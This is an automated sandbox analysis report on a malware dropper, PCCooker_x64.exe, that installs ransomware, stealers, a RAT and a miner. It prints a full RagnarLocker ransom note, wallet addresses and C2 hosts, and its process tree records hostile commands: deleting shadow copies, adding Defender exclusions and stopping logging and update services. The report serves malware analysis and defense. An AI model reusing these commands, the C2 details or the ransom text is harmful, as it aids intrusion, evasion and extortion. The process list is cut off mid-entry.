Overview

overview

10

Static

static

3

PCCooker_x64.exe

windows7-x64

10

PCCooker_x64.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-09-2024 15:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    PCCooker_x64.exe

  • Size

    22.4MB

  • MD5

    317c5fe16b5314d1921930e300d9ea39

  • SHA1

    65eb02c735bbbf1faf212662539fbf88a00a271f

  • SHA256

    d850d741582546a3d0ea2ad5d25e0766781f315cd37e6c58f7262df571cd0c40

  • SHA512

    31751379ad7f6c55d87e9a5c1f56e6211d515b7d9ae055af962ed6f9205f5abad302c2e47dd56325abff85327ec3b7f9a6cf76ed34b8cbe1da06549c622c7031

  • SSDEEP

    49152:yIT4lj7Rl9HFoDi+3JK5CS2bV5IRtyrp63FDysl28Wvp/pUOmrscrdXuMIgqJ95+:yI6

Score
10/10
lummamarsstealerphorphiexragnarlockerstealcxmrigxwormcrydefaultbootkitcredential_accessdefense_evasiondiscoveryevasionexecutionimpactloaderminerpersistenceransomwareratspywarestealertrojanworm

Malware Config

Extracted

Path

C:\Users\Public\Documents\RGNR_949CD6B3.txt

Ransom Note
Hello VGCARGO ! ***************************************************************************************************************** If you reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED by RAGNAR_LOCKER ! ***************************************************************************************************************** *********What happens with your system ?************ Your network was penetrated, all your files and backups was locked! So from now there is NO ONE CAN HELP YOU to get your files back, EXCEPT US. You can google it, there is no CHANCES to decrypt data without our SECRET KEY. But don't worry ! Your files are NOT DAMAGED or LOST, they are just MODIFIED. You can get it BACK as soon as you PAY. We are looking only for MONEY, so there is no interest for us to steel or delete your information, it's just a BUSINESS $-) HOWEVER you can damage your DATA by yourself if you try to DECRYPT by any other software, without OUR SPECIFIC ENCRYPTION KEY !!! Also, all of your sensitive and private information were gathered and if you decide NOT to pay, we will upload it for public view ! **** ***********How to get back your files ?****** To decrypt all your files and data you have to pay for the encryption KEY : BTC wallet for payment: 1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4 Amount to pay (in Bitcoin): 25 **** ***********How much time you have to pay?********** * You should get in contact with us within 2 days after you noticed the encryption to get a better price. * The price would be increased by 100% (double price) after 14 Days if there is no contact made. * The key would be completely erased in 21 day if there is no contact made or no deal made. Some sensetive information stolen from the file servers would be uploaded in public or to re-seller. **** ***********What if files can't be restored ?****** To prove that we really can decrypt your data, we will decrypt one of your locked files ! Just send it to us and you will get it back FOR FREE. The price for the decryptor is based on the network size, number of employees, annual revenue. Please feel free to contact us for amount of BTC that should be paid. **** ! IF you don't know how to get bitcoins, we will give you advise how to exchange the money. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ! HERE IS THE SIMPLE MANUAL HOW TO GET CONTCAT WITH US ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 1) Go to the official website of TOX messenger ( https://tox.chat/download.html ) 2) Download and install qTOX on your PC, choose the platform ( Windows, OS X, Linux, etc. ) 3) Open messenger, click "New Profile" and create profile. 4) Click "Add friends" button and search our contact 7D509C5BB14B1B8CB0A3338EEA9707AD31075868CB9515B17C4C0EC6A0CCCA750CA81606900D 5) For identification, send to our support data from ---RAGNAR SECRET--- IMPORTANT ! IF for some reasons you CAN'T CONTACT us in qTOX, here is our reserve mailbox ( [email protected] ) send a message with a data from ---RAGNAR SECRET--- WARNING! -Do not try to decrypt files with any third-party software (it will be damaged permanently) -Do not reinstall your OS, this can lead to complete data loss and files cannot be decrypted. NEVER! -Your SECRET KEY for decryption is on our server, but it will not be stored forever. DO NOT WASTE TIME ! *********************************************************************************** ---RAGNAR SECRET--- QWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw== ---RAGNAR SECRET--- ***********************************************************************************
Wallets

1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4

URLs

https://tox.chat/download.html

Extracted

Family

phorphiex

C2

http://185.215.113.66/

http://77.91.77.92/

http://91.202.233.141/
Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3
Attributes
  • mutex

    55a4er5wo

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36

Extracted

Family

xworm

Version

5.0

C2

outside-sand.gl.at.ply.gg:31300

Mutex

iwkdM6NNMHndQBII

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain

Extracted

Family

stealc

Botnet

cry

C2

http://193.176.190.41

Attributes
  • url_path

    /2fa883eebd632382.php

Extracted

Family

marsstealer

Botnet

Default

C2

kenesrakishev.net/wp-admin/admin-ajax.php

Extracted

Family

lumma

C2

https://miracledzmnqwui.shop/api

Signatures

  • Detect Xworm Payload 48 IoCs
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Mars Stealer

    An infostealer written in C++ based on other infostealers.

    stealermarsstealer
  • Modifies security service 2 TTPs 3 IoCs
    evasion
  • Phorphiex payload 3 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

    wormtrojanloaderphorphiex
  • RagnarLocker

    Ransomware first seen at the end of 2019, which has been used in targetted attacks against multiple companies.

    ransomwareragnarlocker
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Windows security bypass 2 TTPs 18 IoCs
    evasiontrojan
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Renames multiple (7780) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • XMRig Miner payload 16 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 28 IoCs
  • Executes dropped EXE 46 IoCs
  • Loads dropped DLL 30 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 21 IoCs
    evasiontrojan
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies system certificate store 2 TTPs 8 IoCs
    evasionspywaretrojan
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious behavior: SetClipboardViewer 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe
    "C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
      "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2808
      • C:\Users\Admin\AppData\Local\Temp\Files\t1.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\t1.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2904
        • C:\Windows\sysmablsvr.exe
          C:\Windows\sysmablsvr.exe
          4⤵
          • Modifies security service
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • System Location Discovery: System Language Discovery
          PID:3340
      • C:\Users\Admin\AppData\Local\Temp\Files\66c4c6ec7d961_crypto.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\66c4c6ec7d961_crypto.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2396
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
            PID:2176
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
              PID:760
          • C:\Users\Admin\AppData\Local\Temp\Files\r.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\r.exe"
            3⤵
            • Executes dropped EXE
            PID:2108
          • C:\Users\Admin\AppData\Local\Temp\Files\s.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\s.exe"
            3⤵
            • Executes dropped EXE
            PID:2576
          • C:\Users\Admin\AppData\Local\Temp\Files\pp.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\pp.exe"
            3⤵
            • Executes dropped EXE
            PID:7136
          • C:\Users\Admin\AppData\Local\Temp\Files\66ea645129e6a_jacobs.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\66ea645129e6a_jacobs.exe"
            3⤵
            • Executes dropped EXE
            PID:2640
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              4⤵
              • Power Settings
              PID:1484
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              4⤵
              • Power Settings
              PID:4392
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              4⤵
              • Power Settings
              PID:5632
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              4⤵
              • Power Settings
              PID:4148
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe delete "RRTELIGS"
              4⤵
              • Launches sc.exe
              PID:6264
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe create "RRTELIGS" binpath= "C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe" start= "auto"
              4⤵
              • Launches sc.exe
              PID:6624
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop eventlog
              4⤵
              • Launches sc.exe
              PID:3812
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe start "RRTELIGS"
              4⤵
              • Launches sc.exe
              PID:4912
          • C:\Users\Admin\AppData\Local\Temp\Files\SvCpJuhbT.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\SvCpJuhbT.exe"
            3⤵
            • Executes dropped EXE
            PID:3984
            • C:\Windows\SysWOW64\notepad.exe
              "C:\Windows\SysWOW64\notepad.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:6576
          • C:\Users\Admin\AppData\Local\Temp\Files\gsprout.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\gsprout.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2184
          • C:\Users\Admin\AppData\Local\Temp\Files\11.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\11.exe"
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:6096
            • C:\Windows\sysarddrvs.exe
              C:\Windows\sysarddrvs.exe
              4⤵
              • Modifies security service
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: SetClipboardViewer
              PID:4320
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:1932
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  PID:5228
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                5⤵
                • System Location Discovery: System Language Discovery
                PID:944
                • C:\Windows\SysWOW64\sc.exe
                  sc stop UsoSvc
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:6528
                • C:\Windows\SysWOW64\sc.exe
                  sc stop WaaSMedicSvc
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:5272
                • C:\Windows\SysWOW64\sc.exe
                  sc stop wuauserv
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:6052
                • C:\Windows\SysWOW64\sc.exe
                  sc stop DoSvc
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:6376
                • C:\Windows\SysWOW64\sc.exe
                  sc stop BITS
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:4356
          • C:\Users\Admin\AppData\Local\Temp\Files\9009.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\9009.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Modifies system certificate store
            PID:4520
          • C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:5180
            • C:\Windows\syscapvbrd.exe
              C:\Windows\syscapvbrd.exe
              4⤵
              • Modifies security service
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: SetClipboardViewer
              PID:5564
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:6776
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:6464
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                5⤵
                • System Location Discovery: System Language Discovery
                PID:6336
                • C:\Windows\SysWOW64\sc.exe
                  sc stop UsoSvc
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:3020
                • C:\Windows\SysWOW64\sc.exe
                  sc stop WaaSMedicSvc
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:6956
                • C:\Windows\SysWOW64\sc.exe
                  sc stop wuauserv
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:3084
                • C:\Windows\SysWOW64\sc.exe
                  sc stop DoSvc
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:4104
                • C:\Windows\SysWOW64\sc.exe
                  sc stop BITS
                  6⤵
                  • Launches sc.exe
                  • System Location Discovery: System Language Discovery
                  PID:5744
        • C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
          "C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2692
        • C:\Users\Admin\AppData\Local\Temp\asena.exe
          "C:\Users\Admin\AppData\Local\Temp\asena.exe"
          2⤵
          • Drops startup file
          • Executes dropped EXE
          • Enumerates connected drives
          • Writes to the Master Boot Record (MBR)
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2572
          • C:\Windows\System32\Wbem\wmic.exe
            wmic.exe shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3004
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:2496
          • C:\Windows\SysWOW64\notepad.exe
            C:\Users\Public\Documents\RGNR_949CD6B3.txt
            3⤵
            • System Location Discovery: System Language Discovery
            • Opens file in notepad (likely ransom note)
            PID:5152
        • C:\Users\Admin\AppData\Local\Temp\Bomb.exe
          "C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2816
          • C:\Users\Admin\AppData\Local\Temp\25.exe
            "C:\Users\Admin\AppData\Local\Temp\25.exe"
            3⤵
            • Drops startup file
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1232
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\25.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3228
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '25.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5072
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              PID:6312
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
              4⤵
                PID:5268
            • C:\Users\Admin\AppData\Local\Temp\24.exe
              "C:\Users\Admin\AppData\Local\Temp\24.exe"
              3⤵
              • Drops startup file
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1868
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\24.exe'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4832
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '24.exe'
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3264
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4344
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                PID:5840
            • C:\Users\Admin\AppData\Local\Temp\23.exe
              "C:\Users\Admin\AppData\Local\Temp\23.exe"
              3⤵
              • Drops startup file
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1812
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\23.exe'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4960
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '23.exe'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:7052
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:5808
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4760
            • C:\Users\Admin\AppData\Local\Temp\22.exe
              "C:\Users\Admin\AppData\Local\Temp\22.exe"
              3⤵
              • Drops startup file
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1944
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\22.exe'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4916
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '22.exe'
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:6284
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5796
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                PID:5836
            • C:\Users\Admin\AppData\Local\Temp\21.exe
              "C:\Users\Admin\AppData\Local\Temp\21.exe"
              3⤵
              • Drops startup file
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2300
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\21.exe'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5008
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '21.exe'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4256
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4816
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                PID:5508
            • C:\Users\Admin\AppData\Local\Temp\20.exe
              "C:\Users\Admin\AppData\Local\Temp\20.exe"
              3⤵
              • Drops startup file
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2448
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20.exe'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4748
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '20.exe'
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:448
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
